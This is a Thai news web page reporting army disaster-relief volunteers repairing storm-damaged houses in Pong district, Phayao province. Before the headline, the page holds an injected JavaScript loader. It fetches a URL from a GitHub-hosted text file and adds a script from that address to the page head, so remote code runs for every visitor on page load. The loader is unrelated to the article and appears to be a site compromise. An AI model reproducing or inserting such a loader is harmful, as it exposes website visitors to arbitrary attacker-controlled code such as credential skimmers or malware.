;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); พะเยา ศูนย์บรรเทาสาธารณภัยมณฑลทหารบกที่ 34 ร่วมกับกองพันทหารราบที่ 4 กรมทหารราบที่ 17 นำจิตอาสาภัยพิบัติ ช่วยเหลือผู้ประสบเหตุวาตภัย อำเภอปง - ThaiReference | อาสาไทยยืนยัน
พะเยา ศูนย์บรรเทาสาธารณภัยมณฑลทหารบกที่ 34 ร่วมกับกองพันทหารราบที่ 4 กรมทหารราบที่ 17 นำจิตอาสาภัยพิบัติ ช่วยเหลือผู้ประสบเหตุวาตภัย อำเภอปง

ศูนย์บรรเทาสาธารณภัยมณฑลทหารบกที่ 34 จัดกำลังพลจิตอาสาภัยพิบัติ  และชุดปฏิบัติการบรรเทาสาธารณภัย พร้อมยุทโธปกรณ์ จากกองพันทหารราบที่ 4 กรมทหารราบที่ 17 ลงพื้นที่เข้าให้การช่วยเหลือ ด้วยการขนย้ายสิ่งของ และซ่อมแซมหลังคาบ้านที่ถูกพายุพัดพังเสียหาย แก่ประชาชนในพื้นที่ ตำบลงิม อำเภอปง จังหวัดพะเยา

ที่ได้รับความเสียหายจากเหตุวาตภัยเมื่อวันที่ 5 เมษายน 2568 เวลา 16.00 น. โดยมีบ้านเรือนเสียหาย จำนวน 150 หลังคาเรือน ปัจจุบันกำลังดำเนินการซ่อมแซม และช่วยเหลือเบื้องต้น ทั้งนี้หน่วยยังคงเตรียมความพร้อมในการเข้าช่วยเหลือประชาชนอย่างต่อเนื่องตามนโยบายกองทัพบกในการเป็นที่พึ่งของประชาชนในทุกโอกาส